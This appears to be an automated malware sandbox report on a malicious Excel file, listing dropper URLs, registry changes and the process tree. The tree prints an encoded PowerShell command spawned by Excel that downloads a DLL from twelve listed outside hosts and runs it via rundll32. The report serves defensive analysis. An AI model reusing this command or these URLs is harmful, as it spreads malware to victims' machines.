2f417e51be3bd8a3efee9a3788d6463d188ca3fa3901dcc96da2fb7e874b8ac8

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-en-20211208
submitted
31/01/2022, 15:32

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General

Target
Archivo_520203.xls
Size 134KB
Sample220131-symjmahfar
SHA256 2f417e51be3bd8a3efee9a3788d6463d188ca3fa3901dcc96da2fb7e874b8ac8
MD5 1a142723dd70e1ab2f8802c0264ec842
SHA1 fec067ee83710f7ccc66ca7b155fcb8d7b5cea51
SHA512 befeef52a96a542b21e8e84d592f8029c5da549d57d04ce950ad68d0990067cd3b208d01bc112fa53c289dfe8bc4a131c20689b1285690a09e85ee339631fb04
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://tastedonline.com/cgi-bin/14Lg3P2Dt3rqBmaYZO/
exe.dropper
http://store.anicyber.com/wp-content/0JIWtpJt681mQ/
exe.dropper
http://jeffreylubin.igclout.com/wp-admin/gJ5oDbi/
exe.dropper
https://dulichkhampha24.net/wp-content/rPThO/
exe.dropper
http://dev.learncaraudio.com/wp-admin/ZIwWVcNiED4JYqnq/
exe.dropper
http://karensgardentips.com/cgi-bin/w9i3PIVDOJDeF095ST/
exe.dropper
http://stancewheels.com/wp-admin/ur031GNgTubBSslqN/
exe.dropper
http://laohange.com/wp-content/brPqH/
exe.dropper
http://139.99.89.211/wp-admin/VM1HRb3b0MGGdp/
exe.dropper
http://onexone.elementor.cloud/cdrxhrt/632SFiWmT1Y/
exe.dropper
https://lastregaristorante.com/wp-admin/vkXFRVu/
exe.dropper
http://sellin.app/wp-admin/0W4AcWvFkHkV/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	432	452	cmd.exe	26

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
452	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1360	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
452	EXCEL.EXE
452	EXCEL.EXE
452	EXCEL.EXE
452	EXCEL.EXE
452	EXCEL.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 452 wrote to memory of 432	452	EXCEL.EXE	27
PID 452 wrote to memory of 432	452	EXCEL.EXE	27
PID 452 wrote to memory of 432	452	EXCEL.EXE	27
PID 452 wrote to memory of 432	452	EXCEL.EXE	27
PID 432 wrote to memory of 2012	432	cmd.exe	29
PID 432 wrote to memory of 2012	432	cmd.exe	29
PID 432 wrote to memory of 2012	432	cmd.exe	29
PID 432 wrote to memory of 2012	432	cmd.exe	29
PID 432 wrote to memory of 1360	432	cmd.exe	31
PID 432 wrote to memory of 1360	432	cmd.exe	31
PID 432 wrote to memory of 1360	432	cmd.exe	31
PID 432 wrote to memory of 1360	432	cmd.exe	31
PID 432 wrote to memory of 1344	432	cmd.exe	32
PID 432 wrote to memory of 1344	432	cmd.exe	32
PID 432 wrote to memory of 1344	432	cmd.exe	32
PID 432 wrote to memory of 1344	432	cmd.exe	32
PID 432 wrote to memory of 1344	432	cmd.exe	32
PID 432 wrote to memory of 1344	432	cmd.exe	32
PID 432 wrote to memory of 1344	432	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Archivo_520203.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:432
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2012
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZ